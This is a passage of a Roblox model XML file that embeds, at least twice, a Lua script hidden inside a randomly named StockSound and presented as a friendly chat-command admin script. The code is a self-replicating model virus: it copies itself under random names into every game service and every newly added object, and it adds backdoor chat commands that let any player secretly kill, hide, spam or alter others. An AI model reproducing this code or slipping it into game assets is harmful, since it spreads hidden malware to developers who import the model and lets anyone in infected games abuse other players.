fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX174">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">ug3v</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX175">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">m630g4</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Part" referent="RBX176">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">11</int>
					<CoordinateFrame name="CFrame">
						<X>-1.5</X>
						<Y>62.1000023</Y>
						<Z>23.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">false</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">OneWayDoor</string>
					<float name="Reflectance">0.100000001</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
